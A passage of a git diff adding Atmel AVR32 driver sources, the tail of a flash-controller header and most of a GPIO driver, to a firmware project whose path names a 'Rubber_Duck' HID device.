\brief Gets the bootloader protected size. + * + * \return The bootloader protected size in bytes. + */ +extern unsigned int flashc_get_bootloader_protected_size(void); + +/*! \brief Sets the bootloader protected size. + * + * \param bootprot_size The wanted bootloader protected size in bytes. If this + * size is not supported, the actual size will be the + * nearest greater available size or the maximal possible + * size if the requested size is too large. + * + * \return The actual bootloader protected size in bytes. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern unsigned int flashc_set_bootloader_protected_size(unsigned int bootprot_size); + +/*! \brief Tells whether external privileged fetch is locked. + * + * \return Whether external privileged fetch is locked. + */ +extern Bool flashc_is_external_privileged_fetch_locked(void); + +/*! \brief Locks or unlocks external privileged fetch. + * + * \param lock Whether to lock external privileged fetch: \c true or \c false. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_lock_external_privileged_fetch(Bool lock); + +/*! \brief Tells whether the region of a page is locked. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * + * \return Whether the region of the specified page is locked. + */ +extern Bool flashc_is_page_region_locked(int page_number); + +/*! \brief Tells whether a region is locked. + * + * \param region The region number: \c 0 to (AVR32_FLASHC_REGIONS - 1). + * + * \return Whether the specified region is locked. + */ +extern Bool flashc_is_region_locked(unsigned int region); + +/*! \brief Locks or unlocks the region of a page. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * \param lock Whether to lock the region of the specified page: \c true or + * \c false. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_lock_page_region(int page_number, Bool lock); + +/*! \brief Locks or unlocks a region. + * + * \param region The region number: \c 0 to (AVR32_FLASHC_REGIONS - 1). + * \param lock Whether to lock the specified region: \c true or \c false. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_lock_region(unsigned int region, Bool lock); + +/*! \brief Locks or unlocks all regions. + * + * \param lock Whether to lock the regions: \c true or \c false. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_lock_all_regions(Bool lock); + +//! @} + + +/*! \name Access to General-Purpose Fuses + */ +//! @{ + +/*! \brief Reads a general-purpose fuse bit. + * + * \param gp_fuse_bit The general-purpose fuse bit: \c 0 to \c 63. + * + * \return The value of the specified general-purpose fuse bit. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern Bool flashc_read_gp_fuse_bit(unsigned int gp_fuse_bit); + +/*! \brief Reads a general-purpose fuse bit-field. + * + * \param pos The bit-position of the general-purpose fuse bit-field: \c 0 to + * \c 63. + * \param width The bit-width of the general-purpose fuse bit-field: \c 0 to + * \c 64. + * + * \return The value of the specified general-purpose fuse bit-field. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern U64 flashc_read_gp_fuse_bitfield(unsigned int pos, unsigned int width); + +/*! \brief Reads a general-purpose fuse byte. + * + * \param gp_fuse_byte The general-purpose fuse byte: \c 0 to \c 7. + * + * \return The value of the specified general-purpose fuse byte. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern U8 flashc_read_gp_fuse_byte(unsigned int gp_fuse_byte); + +/*! \brief Reads all general-purpose fuses. + * + * \return The value of all general-purpose fuses as a word. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern U64 flashc_read_all_gp_fuses(void); + +/*! \brief Erases a general-purpose fuse bit. + * + * \param gp_fuse_bit The general-purpose fuse bit: \c 0 to \c 63. + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern Bool flashc_erase_gp_fuse_bit(unsigned int gp_fuse_bit, Bool check); + +/*! \brief Erases a general-purpose fuse bit-field. + * + * \param pos The bit-position of the general-purpose fuse bit-field: \c 0 to + * \c 63. + * \param width The bit-width of the general-purpose fuse bit-field: \c 0 to + * \c 64. + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern Bool flashc_erase_gp_fuse_bitfield(unsigned int pos, unsigned int width, Bool check); + +/*! \brief Erases a general-purpose fuse byte. + * + * \param gp_fuse_byte The general-purpose fuse byte: \c 0 to \c 7. + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern Bool flashc_erase_gp_fuse_byte(unsigned int gp_fuse_byte, Bool check); + +/*! \brief Erases all general-purpose fuses. + * + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern Bool flashc_erase_all_gp_fuses(Bool check); + +/*! \brief Writes a general-purpose fuse bit. + * + * \param gp_fuse_bit The general-purpose fuse bit: \c 0 to \c 63. + * \param value The value of the specified general-purpose fuse bit. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_write_gp_fuse_bit(unsigned int gp_fuse_bit, Bool value); + +/*! \brief Writes a general-purpose fuse bit-field. + * + * \param pos The bit-position of the general-purpose fuse bit-field: \c 0 to + * \c 63. + * \param width The bit-width of the general-purpose fuse bit-field: \c 0 to + * \c 64. + * \param value The value of the specified general-purpose fuse bit-field. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_write_gp_fuse_bitfield(unsigned int pos, unsigned int width, U64 value); + +/*! \brief Writes a general-purpose fuse byte. + * + * \param gp_fuse_byte The general-purpose fuse byte: \c 0 to \c 7. + * \param value The value of the specified general-purpose fuse byte. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_write_gp_fuse_byte(unsigned int gp_fuse_byte, U8 value); + +/*! \brief Writes all general-purpose fuses. + * + * \param value The value of all general-purpose fuses as a word. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_write_all_gp_fuses(U64 value); + +/*! \brief Sets a general-purpose fuse bit with the appropriate erase and write + * operations. + * + * \param gp_fuse_bit The general-purpose fuse bit: \c 0 to \c 63. + * \param value The value of the specified general-purpose fuse bit. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_set_gp_fuse_bit(unsigned int gp_fuse_bit, Bool value); + +/*! \brief Sets a general-purpose fuse bit-field with the appropriate erase and + * write operations. + * + * \param pos The bit-position of the general-purpose fuse bit-field: \c 0 to + * \c 63. + * \param width The bit-width of the general-purpose fuse bit-field: \c 0 to + * \c 64. + * \param value The value of the specified general-purpose fuse bit-field. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_set_gp_fuse_bitfield(unsigned int pos, unsigned int width, U64 value); + +/*! \brief Sets a general-purpose fuse byte with the appropriate erase and write + * operations. + * + * \param gp_fuse_byte The general-purpose fuse byte: \c 0 to \c 7. + * \param value The value of the specified general-purpose fuse byte. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_set_gp_fuse_byte(unsigned int gp_fuse_byte, U8 value); + +/*! \brief Sets all general-purpose fuses with the appropriate erase and write + * operations. + * + * \param value The value of all general-purpose fuses as a word. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_set_all_gp_fuses(U64 value); + +//! @} + + +/*! \name Access to Flash Pages + */ +//! @{ + +/*! \brief Clears the page buffer. + * + * This command resets all bits in the page buffer to one. Write accesses to the + * page buffer can only change page buffer bits from one to zero. + * + * \warning The page buffer is not automatically reset after a page write. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_clear_page_buffer(void); + +/*! \brief Tells whether the page to which the last Quick Page Read or Quick + * Page Read User Page command was applied was erased. + * + * \return Whether the page to which the last Quick Page Read or Quick Page Read + * User Page command was applied was erased. + */ +extern Bool flashc_is_page_erased(void); + +/*! \brief Applies the Quick Page Read command to a page. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * + * \return Whether the specified page is erased. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern Bool flashc_quick_page_read(int page_number); + +/*! \brief Erases a page. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the command is applied to a page belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + */ +extern Bool flashc_erase_page(int page_number, Bool check); + +/*! \brief Erases all pages within the flash array. + * + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if at least one region is locked or the + * bootloader protection is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + */ +extern Bool flashc_erase_all_pages(Bool check); + +/*! \brief Writes a page from the page buffer. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * + * \warning A Lock Error is issued if the command is applied to a page belonging + * to a locked region or to the bootloader protected area. + * + * \warning The page buffer is not automatically reset after a page write. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + */ +extern void flashc_write_page(int page_number); + +/*! \brief Issues a Quick Page Read User Page command to the FLASHC. + * + * \return Whether the User page is erased. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern Bool flashc_quick_user_page_read(void); + +/*! \brief Erases the User page. + * + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + */ +extern Bool flashc_erase_user_page(Bool check); + +/*! \brief Writes the User page from the page buffer. + * + * \warning The page buffer is not automatically reset after a page write. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + */ +extern void flashc_write_user_page(void); + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src source byte. + * + * The destination areas that are not within the flash array or the User page + * are ignored. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source byte. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memset8(volatile void *dst, U8 src, size_t nbytes, Bool erase); + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src big-endian source half-word. + * + * The destination areas that are not within the flash array or the User page + * are ignored. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source half-word. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memset16(volatile void *dst, U16 src, size_t nbytes, Bool erase); + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src big-endian source word. + * + * The destination areas that are not within the flash array or the User page + * are ignored. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source word. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memset32(volatile void *dst, U32 src, size_t nbytes, Bool erase); + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src big-endian source double-word. + * + * The destination areas that are not within the flash array or the User page + * are ignored. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source double-word. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memset64(volatile void *dst, U64 src, size_t nbytes, Bool erase); + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src big-endian source pattern. + * + * The destination areas that are not within the flash array or the User page + * are ignored. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source double-word. + * \param src_width \a src width in bits: 8, 16, 32 or 64. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +#define flashc_memset(dst, src, src_width, nbytes, erase) \ + TPASTE2(flashc_memset, src_width)((dst), (src), (nbytes), (erase)) + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the source pointed to by \a src. + * + * The destination areas that are not within the flash array or the User page + * are ignored. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Pointer to source data. + * \param nbytes Number of bytes to copy. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning If copying takes place between areas that overlap, the behavior is + * undefined. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memcpy(volatile void *dst, const void *src, size_t nbytes, Bool erase); + +#if UC3C + +/*! \brief Depednding to the CPU frequency, set the wait states of flash read + * accesses and enable or disable the High speed read mode. + * + * \param cpu_f_hz The CPU frequency + */ +void flashc_set_flash_waitstate_and_readmode(unsigned long cpu_f_hz); +#endif // UC3C device-specific implementation + +//! @} + + +#endif // _FLASHC_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/gpio/gpio.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/gpio/gpio.c new file mode 100755 index 0000000..bdf6e93 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/gpio/gpio.c @@ -0,0 +1,635 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief GPIO software driver interface for AVR UC3. + * + * - Compiler: GCC and IAR for AVR + * - Supported devices: All AVR UC3 devices with a GPIO module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2010 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include "gpio.h" + +//! GPIO module instance. +#define GPIO AVR32_GPIO + + +/*! \name Peripheral Bus Interface + */ +//! @{ + + +int gpio_enable_module(const gpio_map_t gpiomap, uint32_t size) +{ + int status = GPIO_SUCCESS; + uint32_t i; + + for (i = 0; i < size; i++) + { + status |= gpio_enable_module_pin(gpiomap->pin, gpiomap->function); + gpiomap++; + } + + return status; +} + + +int gpio_enable_module_pin(uint32_t pin, uint32_t function) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + // Enable the correct function. + switch (function) + { + case 0: // A function. + gpio_port->pmr0c = 1 << (pin & 0x1F); + gpio_port->pmr1c = 1 << (pin & 0x1F); +#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + gpio_port->pmr2c = 1 << (pin & 0x1F); +#endif + break; + + case 1: // B function. + gpio_port->pmr0s = 1 << (pin & 0x1F); + gpio_port->pmr1c = 1 << (pin & 0x1F); +#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + gpio_port->pmr2c = 1 << (pin & 0x1F); +#endif + break; + + case 2: // C function. + gpio_port->pmr0c = 1 << (pin & 0x1F); + gpio_port->pmr1s = 1 << (pin & 0x1F); +#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + gpio_port->pmr2c = 1 << (pin & 0x1F); +#endif + break; + + case 3: // D function. + gpio_port->pmr0s = 1 << (pin & 0x1F); + gpio_port->pmr1s = 1 << (pin & 0x1F); +#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + gpio_port->pmr2c = 1 << (pin & 0x1F); +#endif + break; + +#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + case 4: // E function. + gpio_port->pmr0c = 1 << (pin & 0x1F); + gpio_port->pmr1c = 1 << (pin & 0x1F); + gpio_port->pmr2s = 1 << (pin & 0x1F); + break; + + case 5: // F function. + gpio_port->pmr0s = 1 << (pin & 0x1F); + gpio_port->pmr1c = 1 << (pin & 0x1F); + gpio_port->pmr2s = 1 << (pin & 0x1F); + break; + + case 6: // G function. + gpio_port->pmr0c = 1 << (pin & 0x1F); + gpio_port->pmr1s = 1 << (pin & 0x1F); + gpio_port->pmr2s = 1 << (pin & 0x1F); + break; + + case 7: // H function. + gpio_port->pmr0s = 1 << (pin & 0x1F); + gpio_port->pmr1s = 1 << (pin & 0x1F); + gpio_port->pmr2s = 1 << (pin & 0x1F); + break; +#endif + + default: + return GPIO_INVALID_ARGUMENT; + } + + // Disable GPIO control. + gpio_port->gperc = 1 << (pin & 0x1F); + + return GPIO_SUCCESS; +} + + +void gpio_enable_gpio(const gpio_map_t gpiomap, uint32_t size) +{ + uint32_t i; + + for (i = 0; i < size; i++) + { + gpio_enable_gpio_pin(gpiomap->pin); + gpiomap++; + } +} + + +void gpio_enable_gpio_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->oderc = 1 << (pin & 0x1F); + gpio_port->gpers = 1 << (pin & 0x1F); +} + + +// The open-drain mode is not synthesized on the current AVR32 products. +// If one day some AVR32 products have this feature, the corresponding part +// numbers should be listed in the #if below. +// Note that other functions are available in this driver to use pins with open +// drain in GPIO mode. The advantage of the open-drain mode functions over these +// other functions is that they can be used not only in GPIO mode but also in +// module mode. +#if 0 + + +void gpio_enable_pin_open_drain(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->odmers = 1 << (pin & 0x1F); +} + + +void gpio_disable_pin_open_drain(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->odmerc = 1 << (pin & 0x1F); +} + + +#endif + + +void gpio_enable_pin_pull_up(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puers = 1 << (pin & 0x1F); +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + gpio_port->pderc = 1 << (pin & 0x1F); +#endif +} + + +void gpio_disable_pin_pull_up(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puerc = 1 << (pin & 0x1F); +} + +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) +// Added support of Pull-up Resistor, Pull-down Resistor and Buskeeper Control. + +/*! \brief Enables the pull-down resistor of a pin. + * + * \param pin The pin number. + */ +void gpio_enable_pin_pull_down(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puerc = 1 << (pin & 0x1F); + gpio_port->pders = 1 << (pin & 0x1F); +} + +/*! \brief Disables the pull-down resistor of a pin. + * + * \param pin The pin number. + */ +void gpio_disable_pin_pull_down(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->pderc = 1 << (pin & 0x1F); +} + +/*! \brief Enables the buskeeper functionality on a pin. + * + * \param pin The pin number. + */ +void gpio_enable_pin_buskeeper(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puers = 1 << (pin & 0x1F); + gpio_port->pders = 1 << (pin & 0x1F); +} + +/*! \brief Disables the buskeeper functionality on a pin. + * + * \param pin The pin number. + */ +void gpio_disable_pin_buskeeper(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puerc = 1 << (pin & 0x1F); + gpio_port->pderc = 1 << (pin & 0x1F); +} + +#endif + +void gpio_configure_pin(uint32_t pin, uint32_t flags) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + /* Both pull-up and pull-down set means buskeeper */ +#if 